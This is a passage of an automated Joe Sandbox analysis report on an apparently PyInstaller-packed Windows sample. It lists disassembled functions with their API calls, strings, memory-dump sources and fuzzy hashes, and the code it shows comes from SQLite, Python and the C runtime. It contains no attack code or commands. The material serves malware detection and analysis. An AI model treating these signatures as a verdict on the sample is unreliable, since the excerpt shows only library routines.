Instruction Fuzzy Hash: 5D912367B0878686D764CB25E460ABEBBA0FB48B88F844132DE9D43B99DF3CD155C700

Function 00007FFDFABC7D70 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 215COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFABC7F34
memcpy.VCRUNTIME140 ref: 00007FFDFABC7F7E
memcpy.VCRUNTIME140 ref: 00007FFDFABC7FE9

Strings

virtual tables may not be altered, xrefs: 00007FFDFABC7E08
sqlite_altertab_%s, xrefs: 00007FFDFABC7F3D
Cannot add a column to a view, xrefs: 00007FFDFABC7E24

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy$memset
String ID: Cannot add a column to a view$sqlite_altertab_%s$virtual tables may not be altered
API String ID: 438689982-2063813899
Opcode ID: 04c7ac160417419a773f1a03789a70658ed0dc70c10830113a31aabe6f2124d7
Instruction ID: 6b1159ef4f20e18b1e384d597b5865c8766dcb7d188757f8abaa85eb09dbacd4
Opcode Fuzzy Hash: 04c7ac160417419a773f1a03789a70658ed0dc70c10830113a31aabe6f2124d7
Instruction Fuzzy Hash: F691D562B09B8182EB58CF51A464ABD77A5FB84B80F864275DFAD47789DF3CE491C300

Function 00007FFDFAB98670 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 212COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFAB9882C
memmove.VCRUNTIME140 ref: 00007FFDFAB98864
memcpy.VCRUNTIME140 ref: 00007FFDFAB98931

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFAB98726
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFAB9870C
database corruption, xrefs: 00007FFDFAB9871F

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy$memmove
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 1283327689-3727861699
Opcode ID: d6c2de245197fd657a47ab872946567a82268274e8349ceedc22926713eb6fd9
Instruction ID: a18cac49fc10c319ca6421d37c83859cc69f5be926a3dcae0b39d475566208c8
Opcode Fuzzy Hash: d6c2de245197fd657a47ab872946567a82268274e8349ceedc22926713eb6fd9
Instruction Fuzzy Hash: FF91E262B082819AD718CB66D5A0ABD7BE0FB48B48F848176DBAD476C9DF3CF455C700

Function 00007FF62C0F8ED0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,FFFFFFFF,00000000,00007FF62C0F3FA9), ref: 00007FF62C0F8EFD
K32EnumProcessModules.KERNEL32(?,FFFFFFFF,00000000,00007FF62C0F3FA9), ref: 00007FF62C0F8F5A

Part of subcall function 00007FF62C0F9390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF62C0F45F4,00000000,00007FF62C0F1985), ref: 00007FF62C0F93C9

K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF62C0F3FA9), ref: 00007FF62C0F8FE5
K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF62C0F3FA9), ref: 00007FF62C0F9044
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF62C0F3FA9), ref: 00007FF62C0F9055
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF62C0F3FA9), ref: 00007FF62C0F906A

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 51e73ccb600dcf9d750c353d1e93921ada3daf916e275faff0d4d54491eeaa6f
Instruction ID: 44356a712a68c97eadaba6ecb8119595440f666e91318339acc210f2a1d39689
Opcode Fuzzy Hash: 51e73ccb600dcf9d750c353d1e93921ada3daf916e275faff0d4d54491eeaa6f
Instruction Fuzzy Hash: B141D462B1968289EE309B12A8412BA7394FF85BE0F040135DF8D97789DF3EE580C709

Function 00007FF62C0F90E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62C0F8570: GetCurrentProcess.KERNEL32 ref: 00007FF62C0F8590
Part of subcall function 00007FF62C0F8570: OpenProcessToken.ADVAPI32 ref: 00007FF62C0F85A3
Part of subcall function 00007FF62C0F8570: GetTokenInformation.ADVAPI32 ref: 00007FF62C0F85C8
Part of subcall function 00007FF62C0F8570: GetLastError.KERNEL32 ref: 00007FF62C0F85D2
Part of subcall function 00007FF62C0F8570: GetTokenInformation.ADVAPI32 ref: 00007FF62C0F8612
Part of subcall function 00007FF62C0F8570: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF62C0F862E
Part of subcall function 00007FF62C0F8570: CloseHandle.KERNEL32 ref: 00007FF62C0F8646

LocalFree.KERNEL32(?,00007FF62C0F3C55), ref: 00007FF62C0F916C
LocalFree.KERNEL32(?,00007FF62C0F3C55), ref: 00007FF62C0F9175

Strings

Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF62C0F9183
S-1-3-4, xrefs: 00007FF62C0F9121
D:(A;;FA;;;%s), xrefs: 00007FF62C0F9157
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF62C0F9142

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction ID: c931efda4175f5d1b75a5cabb4956b3dbd1db6a7913f30cea336931e4ebf479f
Opcode Fuzzy Hash: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction Fuzzy Hash: E7217121A08B4245FF11AB10ED1A2EA6360FF89BA0F444031EE4DC3786DF3DD985C786

Function 00007FF62C10B2C8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF62C104F11,?,?,?,?,00007FF62C10A48A,?,?,?,?,00007FF62C10718F), ref: 00007FF62C10B2D7
FlsSetValue.KERNEL32(?,?,?,00007FF62C104F11,?,?,?,?,00007FF62C10A48A,?,?,?,?,00007FF62C10718F), ref: 00007FF62C10B30D
FlsSetValue.KERNEL32(?,?,?,00007FF62C104F11,?,?,?,?,00007FF62C10A48A,?,?,?,?,00007FF62C10718F), ref: 00007FF62C10B33A
FlsSetValue.KERNEL32(?,?,?,00007FF62C104F11,?,?,?,?,00007FF62C10A48A,?,?,?,?,00007FF62C10718F), ref: 00007FF62C10B34B
FlsSetValue.KERNEL32(?,?,?,00007FF62C104F11,?,?,?,?,00007FF62C10A48A,?,?,?,?,00007FF62C10718F), ref: 00007FF62C10B35C
SetLastError.KERNEL32(?,?,?,00007FF62C104F11,?,?,?,?,00007FF62C10A48A,?,?,?,?,00007FF62C10718F), ref: 00007FF62C10B377

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 511c86220214880ca4b01c77dd55d0a7de68e458561f726588d357ec3f22002e
Instruction ID: bdaac7af94d41d578575a97c9ed01ecc0d517fbd05849839102e72cf7e74eb96
Opcode Fuzzy Hash: 511c86220214880ca4b01c77dd55d0a7de68e458561f726588d357ec3f22002e
Instruction Fuzzy Hash: 68113024B0C64282FE58A7255E5B13D61529F497B0F248738ED6ECBAD6EE2DF4614303

Function 00007FF62C0F2910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF62C0F1B6A), ref: 00007FF62C0F295E

Strings

Error, xrefs: 00007FF62C0F2A0E
[PYI-%d:ERROR] , xrefs: 00007FF62C0F2966
%s: %s, xrefs: 00007FF62C0F29E8
Error [ANSI Fallback], xrefs: 00007FF62C0F29FF

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction ID: eb1945402f5b3ce93bd321c5c70b1af51b2f1e43aef729a147c8e485069f2159
Opcode Fuzzy Hash: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction Fuzzy Hash: 2E313562B18A8146EF209765AC422E76294BF887F8F400132FE8CC3789EF7CD586C241

Function 00007FF62C0F2390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF62C0F23C8
DialogBoxIndirectParamW.USER32 ref: 00007FF62C0F248E
DeleteObject.GDI32 ref: 00007FF62C0F24C1
DestroyIcon.USER32 ref: 00007FF62C0F24D3

Strings

Unhandled exception in script, xrefs: 00007FF62C0F23F8

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 1a8653f9ef4157c26f2335c81c204ff7a5d47729ffdf6617f9212c2ec85f79f4
Instruction ID: 78f4a0f4665ebe558c9d8f4fe83a1ce740a31a568ba874358303eaf6e3a3ce4a
Opcode Fuzzy Hash: 1a8653f9ef4157c26f2335c81c204ff7a5d47729ffdf6617f9212c2ec85f79f4
Instruction Fuzzy Hash: 5F319072619A8288EF20DB25EC5A2F96360FF887A4F440135EE4E87B49DF7CD145C702

Function 00007FF62C0F2B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF62C0F918F,?,00007FF62C0F3C55), ref: 00007FF62C0F2BA0
MessageBoxW.USER32 ref: 00007FF62C0F2C2A

Strings

[PYI-%d:%ls] , xrefs: 00007FF62C0F2BA8
WARNING, xrefs: 00007FF62C0F2BAF
Warning, xrefs: 00007FF62C0F2C1D

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction ID: 2cec8ca5f0b50406f41d5ca78096f05a42cdc10a41819766b9aadb76dc93387f
Opcode Fuzzy Hash: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction Fuzzy Hash: C821D162708B4186EB209B18F8467EA63A4EB88794F400136EE8D93655DF3CD245C741

Function 00007FF62C0F2710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF62C0F1B99), ref: 00007FF62C0F2760

Strings

[PYI-%d:%s] , xrefs: 00007FF62C0F2768
Error, xrefs: 00007FF62C0F27DE
Error [ANSI Fallback], xrefs: 00007FF62C0F27CF
ERROR, xrefs: 00007FF62C0F276F

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction ID: 2465b6bc31d6e694cec9312289ad023290a5290f080061e0e327b4e5820cccf0
Opcode Fuzzy Hash: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction Fuzzy Hash: 8B21B072A19B8186EB20DB54BC867EA6394FF883A4F400135FE8C83659DF7CD2858745

Function 00007FFDFAA5479C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_PyArg_BadArgument.PYTHON312 ref: 00007FFDFAA547CC
PyType_IsSubtype.PYTHON312 ref: 00007FFDFAA5482C

Strings

a unicode character, xrefs: 00007FFDFAA547B7
argument, xrefs: 00007FFDFAA547BE
east_asian_width, xrefs: 00007FFDFAA547C5

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: Arg_ArgumentSubtypeType_
String ID: a unicode character$argument$east_asian_width
API String ID: 1522575347-3913127203
Opcode ID: 7b891638b4a45313673a93616f0d216ddcfc167a757208e07fea525010fbe4c5
Instruction ID: aaf029860956958ca8f01a418ec20df7b8bda0ca6c67404533e2e7e75a3ab371
Opcode Fuzzy Hash: 7b891638b4a45313673a93616f0d216ddcfc167a757208e07fea525010fbe4c5
Instruction Fuzzy Hash: B321C225F08A828AEB4C9B2194709797BA2FF44B84F4480B5D63E036DCDF2CE49AC704

Function 00007FFDFAA54D6C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON312 ref: 00007FFDFAA54D98
_PyUnicode_ToNumeric.PYTHON312 ref: 00007FFDFAA54DCB
PyErr_SetString.PYTHON312 ref: 00007FFDFAA54DF3
PyFloat_FromDouble.PYTHON312 ref: 00007FFDFAA54E0B

Strings

not a numeric character, xrefs: 00007FFDFAA54DE9

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: DoubleErr_Float_FromNumericStringSubtypeType_Unicode_
String ID: not a numeric character
API String ID: 1034370217-2058156748
Opcode ID: 8a252d4494416c01de2789638a4ecad70e8503ee6f61509ac703bcac1011aaf0
Instruction ID: 916c4e31dd6ffad13b642ef407976df35836044fc6fc85a4f9285bcd38aed73f
Opcode Fuzzy Hash: 8a252d4494416c01de2789638a4ecad70e8503ee6f61509ac703bcac1011aaf0
Instruction Fuzzy Hash: F0216F26F0C9438AEB599B26E43497876A2AF44B84F4481B1C93E476DCDF2CE44B8708

Function 00007FFDFAA54448 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON312 ref: 00007FFDFAA54474
_PyUnicode_ToDecimalDigit.PYTHON312 ref: 00007FFDFAA54493
PyErr_SetString.PYTHON312 ref: 00007FFDFAA544B3
PyLong_FromLong.PYTHON312 ref: 00007FFDFAA544CD

Strings

not a decimal, xrefs: 00007FFDFAA544A9

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: DecimalDigitErr_FromLongLong_StringSubtypeType_Unicode_
String ID: not a decimal
API String ID: 3750391552-3590249192
Opcode ID: 30abf5ee6eb06e173e75edeec379c503cf6988d9432b31e93c7c03d97c2bbd6f
Instruction ID: e7088cc132e864e1f3e081d9c42219deb3534981488aaf12a69608e8e0694169
Opcode Fuzzy Hash: 30abf5ee6eb06e173e75edeec379c503cf6988d9432b31e93c7c03d97c2bbd6f
Instruction Fuzzy Hash: 65113365B485438BEB588B25E43493977A2AF44B84F4884B0CA6F476DCDF2CE44A8344

Function 00007FFDFAA54390 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON312 ref: 00007FFDFAA543CF
_PyArg_BadArgument.PYTHON312 ref: 00007FFDFAA54404

Strings

decimal, xrefs: 00007FFDFAA543BF, 00007FFDFAA543F6
argument 1, xrefs: 00007FFDFAA543FD
a unicode character, xrefs: 00007FFDFAA543EF

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: Arg_$ArgumentCheckPositional
String ID: a unicode character$argument 1$decimal
API String ID: 3876575403-2474051849
Opcode ID: d3484de5ee44d7a33ec5e53d5364025946576caca118cb4f9bd9e3e7fb1b6d42
Instruction ID: 8167c34202da3e4d3b60257ddf2bafe4d9c388abcd850edfcf0edd7488512f05
Opcode Fuzzy Hash: d3484de5ee44d7a33ec5e53d5364025946576caca118cb4f9bd9e3e7fb1b6d42
Instruction Fuzzy Hash: A2118225B08B828AEB589B42E4609A97371EB54BC4F544072DA2E477ADCF3CE59BC304

Function 00007FFDFAA54B70 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON312 ref: 00007FFDFAA54BAF
_PyArg_BadArgument.PYTHON312 ref: 00007FFDFAA54BE4

Strings

argument 1, xrefs: 00007FFDFAA54BDD
a unicode character, xrefs: 00007FFDFAA54BCF
name, xrefs: 00007FFDFAA54B9F, 00007FFDFAA54BD6

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: Arg_$ArgumentCheckPositional
String ID: a unicode character$argument 1$name
API String ID: 3876575403-4190364640
Opcode ID: ab7f7404489c6aefaed3bb65c109ab607c61dcc8bacd4a48ace643e301676b9f
Instruction ID: 8339727faf69e6736376c70a2b7d347757e68fbb64307307491a9707ea336e17
Opcode Fuzzy Hash: ab7f7404489c6aefaed3bb65c109ab607c61dcc8bacd4a48ace643e301676b9f
